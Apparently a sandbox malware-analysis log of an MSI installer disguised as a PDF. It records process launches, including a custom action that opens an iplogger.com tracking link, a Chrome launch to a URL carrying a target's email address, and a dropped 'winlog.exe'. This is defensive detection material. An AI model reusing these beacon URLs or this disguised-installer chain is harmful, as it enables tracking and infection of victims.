Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1964,i,18420012649590504085,17471692908072588692,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\Temp1_DOC70219873816PDF_02.zip\DOC70219873816PDF_02.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 26A115FA982D3F88F68908AE2FFB44FB
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI6140.tmp "C:\Windows\Installer\MSI6140.tmp" https://iplogger.com/LABORAL
Source: C:\Windows\Installer\MSI6140.tmp	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/LABORAL
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1996,i,2738386864576278437,15011083722007866258,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe "C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1964,i,18420012649590504085,17471692908072588692,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 26A115FA982D3F88F68908AE2FFB44FB	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI6140.tmp "C:\Windows\Installer\MSI6140.tmp" https://iplogger.com/LABORAL	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe "C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe"	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/LABORAL	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1996,i,2738386864576278437,15011083722007866258,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: twext.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: colorui.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: compstui.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: inetres.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: c_is2022.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: c_g18030.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: c_gsm7.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: c_iscii.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: vsoscaler.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: swscale.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: avutil.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: magnification.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: avutil.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: idndl.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Section loaded: sxs.dll	Jump to behavior

Source: C:\Windows\Installer\MSI6140.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: winlog.lnk.12.dr	LNK file: ..\..\..\..\..\..\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdbC source: MSI6140.tmp, 00000010.00000000.1595940966.000000000085C000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: r:\Case\Projects\sly\AnyDVDhd\AnyTool\Release\AnyTool.pdb$ source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: r:\Case\Projects\sly\AnyDVDhd\AnyTool\Release\AnyTool.pdb source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdb source: MSI6140.tmp, 00000010.00000000.1595940966.000000000085C000.00000002.00000001.01000000.00000006.sdmp

Source: initial sample

Static PE information: section where entry point is pointing to: .Vyi

Source: avutil.dll.12.dr	Static PE information: section name: .didata
